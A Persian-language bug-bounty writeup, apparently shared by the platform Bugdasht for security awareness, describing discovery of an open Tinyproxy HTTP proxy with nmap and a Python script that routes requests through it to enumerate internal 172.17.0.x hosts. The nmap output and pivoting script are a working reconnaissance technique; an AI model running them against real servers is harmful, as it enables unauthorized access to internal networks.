رایتاپ
Open Http Proxy writeup

این رایتاپ بر اساس سناریوهای دریافت شده از متخصصین امنیتی باگدشت با هدف اشتراک گذاری دانش امنیتی و تسریع در ایمن سازی ارایه شده است.

شناسایی سرور به عنوان پروکسی و استفاده از منابع از آنها 

فرآیند بررسی و پیدا شدن Open Proxy با nmap شروع میشود. در نهایت بعد از کانکت شدن به Proxy  با استفاده از یک اسکریپت پایتون آیپی های داخلی شبکه را بر روی دامنه ها منطبق میکنیم.

  1. بررسی دامین سامانه از طریق nmap صورت میگیرد.
  2. پورتهای باز بر روی این دامنه مشخص میشود.
  3. پورت 6667 به عنوان پروکسی شناخته شد.
  4. آدرس ای پی داخلی سرور دریافت گردید.
  5. با اسکریپت پایتون به بررسی این دو پورت بر روی دامین میپردازیم تا از آن طریق بتوانیم به آدرس IP های داخلی دیگر دسترسی یابیم.
  6. همانطور که در poc ارایه شده است، آدرسهای اینترنال سامانه های دیگر شناسایی شد و از طریق پروکسی نمودن سرور اصلی، به آنها دسترسی یافتیم.
  7. با توجه به دسترسی اینترنت این سرورها، با پروکسی نمودن آنها ترافیک از این طریق ارسال میشود که میتواند از نظر مالی برای سازمان موثر باشد.
  8. همچنین افراد مهاجم میتوانند از این پروکسی برای مخفی نمودن مبدا حملات خود استفاده نمایند.
 root@rootbox:~# nmap -A -v example.com Starting Nmap 7.01 ( https://nmap.org ) at 2020-05-06 20:15 UTC Discovered open port 80/tcp on x.x.x.x Discovered open port 6666/tcp on x.x.x.x Discovered open port 6667/tcp on x.x.x.x 6666/tcp open     irc? |_irc-info: Unable to open connection 6667/tcp open     http-proxy Tinyproxy 1.8.4 |_http-server-header: tinyproxy/1.8.4 Service Info: Host: 172.17.x.x

اسکریپت پایتون مورد استفاده:

 import requests import warnings warnings.filterwarnings('ignore', message='Unverified HTTPS request') proxies = {     "http": "https://example.com:6667",      "https": "https://example.com:6667", } for i in range(1,255):     r = requests.get("https://172.17.0.{}".format(i), proxies=proxies , verify=False)     if "1.8.4" not in r.text :         print("https://172.17.0.{}".format(i))